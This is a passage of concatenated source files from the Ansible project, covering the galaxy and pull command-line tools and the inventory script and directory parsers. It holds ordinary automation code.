                    display.display('%s.%s' % (t['summary_fields']['role']['namespace'],t['summary_fields']['role']['name']), color=C.COLOR_CHANGED)
                display.display(u'\n' + "To properly namespace this role, remove each of the above and re-import %s/%s from scratch" % (github_user,github_repo), color=C.COLOR_CHANGED)
                return 0
            # found a single role as expected
            display.display("Successfully submitted import request %d" % task[0]['id'])
            if not self.options.wait:
                display.display("Role name: %s" % task[0]['summary_fields']['role']['name'])
                display.display("Repo: %s/%s" % (task[0]['github_user'],task[0]['github_repo']))

        if self.options.check_status or self.options.wait:
            # Get the status of the import
            msg_list = []
            finished = False
            while not finished:
                task = self.api.get_import_task(task_id=task[0]['id'])
                for msg in task[0]['summary_fields']['task_messages']:
                    if msg['id'] not in msg_list:
                        display.display(msg['message_text'], color=colors[msg['message_type']])
                        msg_list.append(msg['id'])
                if task[0]['state'] in ['SUCCESS', 'FAILED']:
                    finished = True
                else:
                    time.sleep(10)

        return 0

    def execute_setup(self):
        """
        Setup an integration from Github or Travis
        """

        if self.options.setup_list:
            # List existing integration secrets
            secrets = self.api.list_secrets()
            if len(secrets) == 0:
                # None found
                display.display("No integrations found.")
                return 0
            display.display(u'\n' + "ID         Source     Repo", color=C.COLOR_OK)
            display.display("---------- ---------- ----------", color=C.COLOR_OK)
            for secret in secrets:
                display.display("%-10s %-10s %s/%s" % (secret['id'], secret['source'], secret['github_user'],
                    secret['github_repo']),color=C.COLOR_OK)
            return 0

        if self.options.remove_id:
            # Remove a secret
            self.api.remove_secret(self.options.remove_id)
            display.display("Secret removed. Integrations using this secret will not longer work.", color=C.COLOR_OK)
            return 0

        if len(self.args) < 4:
            raise AnsibleError("Missing one or more arguments. Expecting: source github_user github_repo secret")
            return 0

        secret = self.args.pop()
        github_repo = self.args.pop()
        github_user = self.args.pop()
        source = self.args.pop()

        resp = self.api.add_secret(source, github_user, github_repo, secret)
        display.display("Added integration for %s %s/%s" % (resp['source'], resp['github_user'], resp['github_repo']))

        return 0

    def execute_delete(self):
        """
        Delete a role from galaxy.ansible.com
        """

        if len(self.args) < 2:
            raise AnsibleError("Missing one or more arguments. Expected: github_user github_repo")

        github_repo = self.args.pop()
        github_user = self.args.pop()
        resp = self.api.delete_role(github_user, github_repo)

        if len(resp['deleted_roles']) > 1:
            display.display("Deleted the following roles:")
            display.display("ID     User            Name")
            display.display("------ --------------- ----------")
            for role in resp['deleted_roles']:
                display.display("%-8s %-15s %s" % (role.id,role.namespace,role.name))

        display.display(resp['status'])

        return True






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

########################################################
import datetime
import os
import platform
import random
import shutil
import socket
import sys
import time

from ansible.errors import AnsibleOptionsError
from ansible.cli import CLI
from ansible.plugins import module_loader
from ansible.utils.cmd_functions import run_cmd

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


########################################################

class PullCLI(CLI):
    ''' code behind ansible ad-hoc cli'''

    DEFAULT_REPO_TYPE = 'git'
    DEFAULT_PLAYBOOK = 'local.yml'
    PLAYBOOK_ERRORS = {
        1: 'File does not exist',
        2: 'File is not readable'
    }
    SUPPORTED_REPO_MODULES = ['git']

    def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true',
            help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
            help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
            help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
            help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None,
            help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None,
            help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true',
            help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
            help='branch/tag/commit to checkout.  ' 'Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
            help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
            help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
            help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
                 ' This needs the corresponding VCS module to support such an operation')
        self.parser.add_option('--clean', dest='clean', default=False, action='store_true',
            help='modified files in the working repository will be discarded')
        self.parser.add_option('--track-subs', dest='tracksubs', default=False, action='store_true',
            help='submodules will track the latest changes'
                 ' This is equivalent to specifying the --remote flag to git submodule update')

        # for pull we don't wan't a default
        self.parser.set_defaults(inventory=None)

        self.options, self.args = self.parser.parse_args(self.args[1:])

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0,int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError("%s is not a number." % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError("URL for repository not specified, use -h for help")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError("Unsuported repo module %s, choices are %s" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)

    def run(self):
        ''' use Runner lib to do SSH things '''

        super(PullCLI, self).run()

        # log command line
        now = datetime.datetime.now()
        display.display(now.strftime("Starting Ansible Pull at %F %T"))
        display.display(' '.join(sys.argv))

        # Build Checkout command
        # Now construct the ansible command
        node = platform.node()
        host = socket.getfqdn()
        limit_opts = 'localhost,%s,127.0.0.1' % ','.join(set([host, node, host.split('.')[0], node.split('.')[0]]))
        base_opts = '-c local '
        if self.options.verbosity > 0:
            base_opts += ' -%s' % ''.join([ "v" for x in range(0, self.options.verbosity) ])

        # Attempt to use the inventory passed in as an argument
        # It might not yet have been downloaded so use localhost as default
        if not self.options.inventory or ( ',' not in self.options.inventory and not os.path.exists(self.options.inventory)):
            inv_opts = 'localhost,'
        else:
            inv_opts = self.options.inventory

        #FIXME: enable more repo modules hg/svn?
        if self.options.module_name == 'git':
            repo_opts = "name=%s dest=%s" % (self.options.url, self.options.dest)
            if self.options.checkout:
                repo_opts += ' version=%s' % self.options.checkout

            if self.options.accept_host_key:
                repo_opts += ' accept_hostkey=yes'

            if self.options.private_key_file:
                repo_opts += ' key_file=%s' % self.options.private_key_file

            if self.options.verify:
                repo_opts += ' verify_commit=yes'

            if self.options.clean:
                repo_opts += ' force=yes'

            if self.options.tracksubs:
                repo_opts += ' track_submodules=yes'

            if not self.options.fullclone:
                repo_opts += ' depth=1'

        path = module_loader.find_plugin(self.options.module_name)
        if path is None:
            raise AnsibleOptionsError(("module '%s' not found.\n" % self.options.module_name))

        bin_path = os.path.dirname(os.path.abspath(sys.argv[0]))
        # hardcode local and inventory/host as this is just meant to fetch the repo
        cmd = '%s/ansible -i "%s" %s -m %s -a "%s" all -l "%s"' % (bin_path, inv_opts, base_opts, self.options.module_name, repo_opts, limit_opts)

        for ev in self.options.extra_vars:
            cmd += ' -e "%s"' % ev

        # Nap?
        if self.options.sleep:
            display.display("Sleeping for %d seconds..." % self.options.sleep)
            time.sleep(self.options.sleep)

        # RUN the Checkout command
        display.debug("running ansible with VCS module to checkout repo")
        display.vvvv('EXEC: %s' % cmd)
        rc, out, err = run_cmd(cmd, live=True)

        if rc != 0:
            if self.options.force:
                display.warning("Unable to update repository. Continuing with (forced) run of playbook.")
            else:
                return rc
        elif self.options.ifchanged and '"changed": true' not in out:
            display.display("Repository has not changed, quitting.")
            return 0

        playbook = self.select_playbook(self.options.dest)
        if playbook is None:
            raise AnsibleOptionsError("Could not find a playbook to run.")

        # Build playbook command
        cmd = '%s/ansible-playbook %s %s' % (bin_path, base_opts, playbook)
        if self.options.vault_password_file:
            cmd += " --vault-password-file=%s" % self.options.vault_password_file
        if self.options.inventory:
            cmd += ' -i "%s"' % self.options.inventory
        for ev in self.options.extra_vars:
            cmd += ' -e "%s"' % ev
        if self.options.ask_sudo_pass or self.options.ask_su_pass or self.options.become_ask_pass:
            cmd += ' --ask-become-pass'
        if self.options.skip_tags:
            cmd += ' --skip-tags "%s"' % self.options.skip_tags
        if self.options.tags:
            cmd += ' -t "%s"' % self.options.tags
        if self.options.subset:
            cmd += ' -l "%s"' % self.options.subset
        else:
            cmd += ' -l "%s"' % limit_opts

        os.chdir(self.options.dest)

        # RUN THE PLAYBOOK COMMAND
        display.debug("running ansible-playbook to do actual work")
        display.debug('EXEC: %s' % cmd)
        rc, out, err = run_cmd(cmd, live=True)

        if self.options.purge:
            os.chdir('/')
            try:
                shutil.rmtree(self.options.dest)
            except Exception as e:
                display.error("Failed to remove %s: %s" % (self.options.dest, str(e)))

        return rc

    def try_playbook(self, path):
        if not os.path.exists(path):
            return 1
        if not os.access(path, os.R_OK):
            return 2
        return 0

    def select_playbook(self, path):
        playbook = None
        if len(self.args) > 0 and self.args[0] is not None:
            playbook = os.path.join(path, self.args[0])
            rc = self.try_playbook(playbook)
            if rc != 0:
                display.warning("%s: %s" % (playbook, self.PLAYBOOK_ERRORS[rc]))
                return None
            return playbook
        else:
            fqdn = socket.getfqdn()
            hostpb = os.path.join(path, fqdn + '.yml')
            shorthostpb = os.path.join(path, fqdn.split('.')[0] + '.yml')
            localpb = os.path.join(path, self.DEFAULT_PLAYBOOK)
            errors = []
            for pb in [hostpb, shorthostpb, localpb]:
                rc = self.try_playbook(pb)
                if rc == 0:
                    playbook = pb
                    break
                else:
                    errors.append("%s: %s" % (pb, self.PLAYBOOK_ERRORS[rc]))
            if playbook is None:
                display.warning("\n".join(errors))
            return playbook






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import subprocess
import sys
from collections import Mapping

from ansible.compat.six import iteritems

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible.module_utils.basic import json_dict_bytes_to_unicode
from ansible.utils.unicode import to_str, to_unicode


class InventoryScript:
    ''' Host inventory parser for ansible using external inventory scripts. '''

    def __init__(self, loader, groups=None, filename=C.DEFAULT_HOST_LIST):
        if groups is None:
            groups = dict()

        self._loader = loader
        self.groups = groups

        # Support inventory scripts that are not prefixed with some
        # path information but happen to be in the current working
        # directory when '.' is not in PATH.
        self.filename = os.path.abspath(filename)
        cmd = [ self.filename, "--list" ]
        try:
            sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        except OSError as e:
            raise AnsibleError("problem running %s (%s)" % (' '.join(cmd), e))
        (stdout, stderr) = sp.communicate()

        if sp.returncode != 0:
            raise AnsibleError("Inventory script (%s) had an execution error: %s " % (filename,stderr))

        # make sure script output is unicode so that json loader will output
        # unicode strings itself
        try:
            self.data = to_unicode(stdout, errors="strict")
        except Exception as e:
            raise AnsibleError("inventory data from {0} contained characters that cannot be interpreted as UTF-8: {1}".format(to_str(self.filename), to_str(e)))

        # see comment about _meta below
        self.host_vars_from_top = None
        self._parse(stderr)

    def _parse(self, err):

        all_hosts = {}

        # not passing from_remote because data from CMDB is trusted
        try:
            self.raw = self._loader.load(self.data)
        except Exception as e:
            sys.stderr.write(err + "\n")
            raise AnsibleError("failed to parse executable inventory script results from {0}: {1}".format(to_str(self.filename), to_str(e)))

        if not isinstance(self.raw, Mapping):
            sys.stderr.write(err + "\n")
            raise AnsibleError("failed to parse executable inventory script results from {0}: data needs to be formatted as a json dict".format(to_str(self.filename)))

        group = None
        for (group_name, data) in self.raw.items():

            # in Ansible 1.3 and later, a "_meta" subelement may contain
            # a variable "hostvars" which contains a hash for each host
            # if this "hostvars" exists at all then do not call --host for each
            # host.  This is for efficiency and scripts should still return data
            # if called with --host for backwards compat with 1.2 and earlier.

            if group_name == '_meta':
                if 'hostvars' in data:
                    self.host_vars_from_top = data['hostvars']
                    continue

            if group_name not in self.groups:
                group = self.groups[group_name] = Group(group_name)

            group = self.groups[group_name]
            host = None

            if not isinstance(data, dict):
                data = {'hosts': data}
            # is not those subkeys, then simplified syntax, host with vars
            elif not any(k in data for k in ('hosts','vars','children')):
                data = {'hosts': [group_name], 'vars': data}

            if 'hosts' in data:
                if not isinstance(data['hosts'], list):
                    raise AnsibleError("You defined a group \"%s\" with bad "
                        "data for the host list:\n %s" % (group_name, data))

                for hostname in data['hosts']:
                    if hostname not in all_hosts:
                        all_hosts[hostname] = Host(hostname)
                    host = all_hosts[hostname]
                    group.add_host(host)

            if 'vars' in data:
                if not isinstance(data['vars'], dict):
                    raise AnsibleError("You defined a group \"%s\" with bad "
                        "data for variables:\n %s" % (group_name, data))

                for k, v in iteritems(data['vars']):
                    group.set_variable(k, v)

        # Separate loop to ensure all groups are defined
        for (group_name, data) in self.raw.items():
            if group_name == '_meta':
                continue
            if isinstance(data, dict) and 'children' in data:
                for child_name in data['children']:
                    if child_name in self.groups:
                        self.groups[group_name].add_child_group(self.groups[child_name])

        # Finally, add all top-level groups as children of 'all'.
        # We exclude ungrouped here because it was already added as a child of
        # 'all' at the time it was created.

        for group in self.groups.values():
            if group.depth == 0 and group.name not in ('all', 'ungrouped'):
                self.groups['all'].add_child_group(group)

    def get_host_variables(self, host):
        """ Runs <script> --host <hostname> to determine additional host variables """
        if self.host_vars_from_top is not None:
            try:
                got = self.host_vars_from_top.get(host.name, {})
            except AttributeError as e:
                raise AnsibleError("Improperly formated host information for %s: %s" % (host.name,to_str(e)))
            return got

        cmd = [self.filename, "--host", host.name]
        try:
            sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        except OSError as e:
            raise AnsibleError("problem running %s (%s)" % (' '.join(cmd), e))
        (out, err) = sp.communicate()
        if out.strip() == '':
            return dict()
        try:
            return json_dict_bytes_to_unicode(self._loader.load(out))
        except ValueError:
            raise AnsibleError("could not parse post variable response: %s, %s" % (cmd, out))






# (c) 2013, Daniel Hokka Zakrisson <daniel@hozac.com>
# (c) 2014, Serge van Ginderachter <serge@vanginderachter.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.utils.vars import combine_vars

#FIXME: make into plugins
from ansible.inventory.ini import InventoryParser as InventoryINIParser
from ansible.inventory.yaml import InventoryParser as InventoryYAMLParser
from ansible.inventory.script import InventoryScript

__all__ = ['get_file_parser']

def get_file_parser(hostsfile, groups, loader):
    # check to see if the specified file starts with a
    # shebang (#!/), so if an error is raised by the parser
    # class we can show a more apropos error

    shebang_present = False
    processed = False
    myerr = []
    parser = None

    try:
        inv_file = open(hostsfile)
        first_line = inv_file.readlines()[0]
        inv_file.close()
        if first_line.startswith('#!'):
            shebang_present = True
    except:
        pass


    #FIXME: make this 'plugin loop'
    # script
    if loader.is_executable(hostsfile):
        try:
            parser = InventoryScript(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))
    elif shebang_present:
        myerr.append("The file %s looks like it should be an executable inventory script, but is not marked executable. Perhaps you want to correct this with `chmod +x %s`?" % (hostsfile, hostsfile))

    # YAML/JSON
    if not processed and not shebang_present and os.path.splitext(hostsfile)[-1] in C.YAML_FILENAME_EXTENSIONS:
        try:
            parser = InventoryYAMLParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    # ini
    if not processed and not shebang_present:
        try:
            parser = InventoryINIParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    if not processed and myerr:
        raise AnsibleError( '\n'.join(myerr) )

    return parser

class InventoryDirectory(object):
    ''' Host inventory parser for ansible using a directory of inventories. '''

    def __init__(self, loader, groups=None, filename=C.DEFAULT_HOST_LIST):
        if groups is None:
            groups = dict()

        self.names = os.listdir(filename)
        self.names.sort()
        self.directory = filename
        self.parsers = []
        self.hosts = {}
        self.groups = groups

        self._loader = loader

        for i in self.names:

            # Skip files that end with certain extensions or characters
            if any(i.endswith(ext) for ext in C.DEFAULT_INVENTORY_IGNORE):
                continue
            # Skip hidden files
            if i.startswith('.') and not i.startswith('./'):
                continue
            # These are things inside of an inventory basedir
            if i in ("host_vars", "group_vars", "vars_plugins"):
                continue
            fullpath = os.path.join(self.directory, i)
            if os.path.isdir(fullpath):
                parser = InventoryDirectory(loader=loader, groups=groups, filename=fullpath)
            else:
                parser = get_file_parser(fullpath, self.groups, loader)
                if parser is None:
                    #FIXME: needs to use display
                    import warnings
                    warnings.warning("Could not find parser for %s, skipping" % fullpath)
                    continue

            self.parsers.append(parser)

            # retrieve all groups and hosts form the parser and add them to
            # self, don't look at group lists yet, to avoid
            # recursion trouble, but just make sure all objects exist in self
            newgroups = parser.groups.values()
            for group in newgroups:
                for host in group.hosts:
                    self._add_host(host)
            for group in newgroups:
                self._add_group(group)

            # now check the objects lists so they contain only objects from
            # self; membership data in groups is already fine (except all &
            # ungrouped, see later), but might still reference objects not in self
            for group in self.groups.values():
                # iterate on a copy of the lists, as those lists get changed in
                # the loop
                # list with group's child group objects:
                for child in group.child_groups[:]:
                    if child != self.groups[child.name]:
                        group.child_groups.remove(child)
                        group.child_groups.append(self.groups[child.name])
                # list with group's parent group objects:
                for parent in group.parent_groups[:]:
                    if parent != self.groups[parent.name]:
                        group.parent_groups.remove(parent)
                        group.parent_groups.append(self.groups[parent.name])
                # list with group's host objects:
                for host in group.hosts[:]:
                    if host != self.hosts[host.name]:
                        group.hosts.remove(host)
                        group.hosts.append(self.hosts[host.name])
                    # also check here that the group that contains host, is
                    # also contained in the host's group list
                    if group not in self.hosts[host.name].groups:
                        self.hosts[host.name].groups.append(group)

        # extra checks on special groups all and ungrouped
        # remove hosts from 'ungrouped' if they became member of other groups
        if 'ungrouped' in self.groups:
            ungrouped = self.groups['ungrouped']
            # loop on a copy of ungrouped hosts, as we want to change that list
            for host in frozenset(ungrouped.hosts):
                if len(host.groups) > 1:
                    host.groups.remove(ungrouped)
                    ungrouped.hosts.remove(host)

        # remove hosts from 'all' if they became member of other groups
        # all should only contain direct children, not grandchildren
        # direct children should have dept == 1
        if 'all' in self.groups:
            allgroup = self.groups['all' ]
            # loop on a copy of all's  child groups, as we want to change that list
            for group in allgroup.child_groups[:]:
                # groups might once have beeen added to all, and later be added
                # to another group: we need to remove the link wit all then
                if len(group.parent_groups) > 1 and allgroup in group.parent_groups:
                    # real children of all have just 1 parent, all
                    # this one has more, so not a direct child of all anymore
                    group.parent_groups.remove(allgroup)
                    allgroup.child_groups.remove(group)
                elif allgroup not in group.parent_groups:
                    # this group was once added to all, but doesn't list it as
                    # a parent any more; the info in the group is the correct
                    # info
                    allgroup.child_groups.remove(group)


    def _add_group(self, group):
        """ Merge an existing group or add a new one;
            Track parent and child groups, and hosts of the new one """

        if group.name not in self.groups:
            # it's brand new, add him!
            self.groups[group.name] = group
        # the Group class does not (yet) implement __eq__/__ne__,
        # so unlike Host we do a regular comparison here
        if self.groups[group.name] != group:
            # different object, merge
            self._merge_groups(self.groups[group.name], group)

    def _add_host(self, host):
        if host.name not in self.hosts:
            # Papa's got a brand new host
            self.hosts[host.name] = host
        # because the __eq__/__ne__ methods in Host() compare the
        # name fields rather than references, we use id() here to
        # do the object comparison for merges
        if self.hosts[host.name] != host:
            # different object, merge
            self._merge_hosts(self.hosts[host.name], host)

    def _merge_groups(self, group, newgroup):
        """ Merge all of instance newgroup into group,
            update parent/child relationships
            group lists may still contain group objects that exist in self with
            same name, but was instanciated as a different object in some other
            inventory parser; these are handled later """

        # name
        if group.name != newgroup.name:
            raise AnsibleError("Cannot merge group %s with %s" % (group.name, newgroup.name))

        # depth
        group.depth = max([group.depth, newgroup.depth])

        # hosts list (host objects are by now already added to self.hosts)
        for host in newgroup.hosts:
            grouphosts = dict([(h.name, h) for h in group.hosts])
            if host.name in grouphosts:
                # same host name but different object, merge
                self._merge_hosts(grouphosts[host.name], host)
            else:
                # new membership, add host to group from self
                # group from self will also be added again to host.groups, but
                # as different object
                group.add_host(self.hosts[host.name])
                # now remove this the old object for group in host.groups
                for hostgroup in [g for g in host.groups]:
                    if hostgroup.name == group.name and hostgroup != self.groups[group.name]:
                        self.hosts[host.name].groups.remove(hostgroup)


        # group child membership relation
        for newchild in newgroup.child_groups:
            # dict with existing child groups:
            childgroups = dict([(g.name, g) for g in group.child_groups])
            # check if child of new group is already known as a child
            if newchild.name not in childgroups:
                self.groups[group.name].add_child_group(newchild)

        # group parent membership relation
        for newparent in newgroup.parent_groups:
            # dict with existing parent groups:
            parentgroups = dict([(g.name, g) for g in group.parent_groups])
            # check if parent of new group is already known as a parent
            if newparent.name not in parentgroups:
                if newparent.name not in self.groups:
                    # group does not exist yet in self, import him
                    self.groups[newparent.name] = newparent
                # group now exists but not yet as a parent here
                self.groups[newparent.name].add_child_group(group)

        # variables
        group.vars = combine_vars(group.vars, newgroup.vars)

    def _merge_hosts(self,host, newhost):
        """ Merge all of instance newhost into host """

        # name
        if host.name != newhost.name:
            raise AnsibleError("Cannot merge host %s with %s" % (host.name, newhost.name))

        # group membership relation
        for newgroup in newhost.groups:
            # dict with existing groups:
            hostgroups = dict([(g.name, g) for g in host.groups])
            # check if new group is already known as a group
            if newgroup.name not in hostgroups:
                if newgroup.name not in self.groups:
                    # group does not exist yet in self, import him
                    self.groups[newgroup.name] = newgroup
                # group now exists but doesn't have host yet
                self.groups[newgroup.name].add_host(host)

        # variables
        host.vars = combine_vars(host.vars, newhost.vars)

    def get_host_variables(self, host):
        """ Gets additional host variables from all inventories """
        vars = {}
        for i in self.parsers:
            vars.update(i.get_host_variables(host))
        return vars







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import fnmatch
import os
import sys
import re
import itertools

from ansible.compat.six import string_types

from ansible import constants as C
from ansible.errors import AnsibleError

from ansible.inventory.dir import InventoryDirectory, get_file_parser
from ansible.inventory.group import Group
from ansible.inventory.host import Host
from ansible.plugins import vars_loader
from ansible.utils.unicode import to_unicode, to_bytes
from ansible.utils.vars import combine_vars
from ansible.parsing.utils.addresses import parse_address

HOSTS_PATTERNS_CACHE = {}

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class Inventory(object):
    """
    Host inventory for ansible.
    """

    def __init__(self, loader, variable_manager, host_list=C.DEFAULT_HOST_LIST):

        # the host file file, or script path, or list of hosts
        # if a list, inventory data will NOT be loaded
        self.host_list = host_list
        self._loader = loader
        self._variable_manager = variable_manager
        self.localhost = None

        # caching to avoid repeated calculations, particularly with
        # external inventory scripts.

        self._vars_per_host  = {}
        self._vars_per_group = {}
        self._hosts_cache    = {}
        self._pattern_cache  = {}
        self._vars_plugins   = []

        self._basedir = self.basedir()

        # Contains set of filenames under group_vars directories
        self._group_vars_files = self._find_group_vars_files(self._basedir)
        self._host_vars_files = self._find_host_vars_files(self._basedir)

        # to be set by calling set_playbook_basedir by playbook code
        self._playbook_basedir = None

        # the inventory object holds a list of groups
        self.groups = {}

        # a list of host(names) to contain current inquiries to
        self._restriction = None
        self._subset = None

        # clear the cache here, which is only useful if more than
        # one Inventory objects are created when using the API directly
        self.clear_pattern_cache()

        self.parse_inventory(host_list)

    def serialize(self):
        data = dict()
        return data

    def deserialize(self, data):
        pass

    def parse_inventory(self, host_list):

        if isinstance(host_list, string_types):
            if "," in host_list:
                host_list = host_list.split(",")
                host_list = [ h for h in host_list if h and h.strip() ]

        self.parser = None

        # Always create the 'all' and 'ungrouped' groups, even if host_list is
        # empty: in this case we will subsequently an the implicit 'localhost' to it.

        ungrouped = Group('ungrouped')
        all = Group('all')
        all.add_child_group(ungrouped)

        self.groups = dict(all=all, ungrouped=ungrouped)

        if host_list is None:
            pass
        elif isinstance(host_list, list):
            for h in host_list:
                try:
                    (host, port) = parse_address(h, allow_ranges=False)
                except AnsibleError as e:
                    display.vvv("Unable to parse address from hostname, leaving unchanged: %s" % to_unicode(e))
                    host = h
                    port = None

                new_host = Host(host, port)
                if h in C.LOCALHOST:
                    # set default localhost from inventory to avoid creating an implicit one. Last localhost defined 'wins'.
                    if self.localhost is not None:
                        display.warning("A duplicate localhost-like entry was found (%s). First found localhost was %s" % (h, self.localhost.name))
                    display.vvvv("Set default localhost to %s" % h)
                    self.localhost = new_host
                all.add_host(new_host)
        elif self._loader.path_exists(host_list):
            #TODO: switch this to a plugin loader and a 'condition' per plugin on which it should be tried, restoring 'inventory pllugins'
            if self.is_directory(host_list):
                # Ensure basedir is inside the directory
                host_list = os.path.join(self.host_list, "")
                self.parser = InventoryDirectory(loader=self._loader, groups=self.groups, filename=host_list)
            else:
                self.parser = get_file_parser(host_list, self.groups, self._loader)
                vars_loader.add_directory(self._basedir, with_subdir=True)

            if not self.parser:
                # should never happen, but JIC
                raise AnsibleError("Unable to parse %s as an inventory source" % host_list)
        else:
            display.warning("Host file not found: %s" % to_unicode(host_list))

        self._vars_plugins = [ x for x in vars_loader.all(self) ]

        # set group vars from group_vars/ files and vars plugins
        for g in self.groups:
            group = self.groups[g]
            group.vars = combine_vars(group.vars, self.get_group_variables(group.name))
            self.get_group_vars(group)

        # get host vars from host_vars/ files and vars plugins
        for host in self.get_hosts(ignore_limits_and_restrictions=True):
            host.vars = combine_vars(host.vars, self.get_host_variables(host.name))
            self.get_host_vars(host)

    def _match(self, str, pattern_str):
        try:
            if pattern_str.startswith('~'):
                return re.search(pattern_str[1:], str)
            else:
                return fnmatch.fnmatch(str, pattern_str)
        except Exception:
            raise AnsibleError('invalid host pattern: %s' % pattern_str)

    def _match_list(self, items, item_attr, pattern_str):
        results = []
        try:
            if not pattern_str.startswith('~'):
                pattern = re.compile(fnmatch.translate(pattern_str))
            else:
                pattern = re.compile(pattern_str[1:])
        except Exception:
            raise AnsibleError('invalid host pattern: %s' % pattern_str)

        for item in items:
            if pattern.match(getattr(item, item_attr)):
                results.append(item)
        return results

    def get_hosts(self, pattern="all", ignore_limits_and_restrictions=False):
        """ 
        Takes a pattern or list of patterns and returns a list of matching
        inventory host names, taking into account any active restrictions
        or applied subsets
        """

        # Check if pattern already computed
        if isinstance(pattern, list):
            pattern_hash = u":".join(pattern)
        else:
            pattern_hash = pattern

        if not ignore_limits_and_restrictions:
            if self._subset:
                pattern_hash += u":%s" % to_unicode(self._subset)
            if self._restriction:
                pattern_hash += u":%s" % to_unicode(self._restriction)

        if pattern_hash not in HOSTS_PATTERNS_CACHE:

            patterns = Inventory.split_host_pattern(pattern)
            hosts = self._evaluate_patterns(patterns)

            # mainly useful for hostvars[host] access
            if not ignore_limits_and_restrictions:
                # exclude hosts not in a subset, if defined
                if self._subset:
                    subset = self._evaluate_patterns(self._subset)
                    hosts = [ h for h in hosts if h in subset ]

                # exclude hosts mentioned in any restriction (ex: failed hosts)
                if self._restriction is not None:
                    hosts = [ h for h in hosts if h.name in self._restriction ]

            seen = set()
            HOSTS_PATTERNS_CACHE[pattern_hash] = [x for x in hosts if x not in seen and not seen.add(x)]

        return HOSTS_PATTERNS_CACHE[pattern_hash][:]

    @classmethod
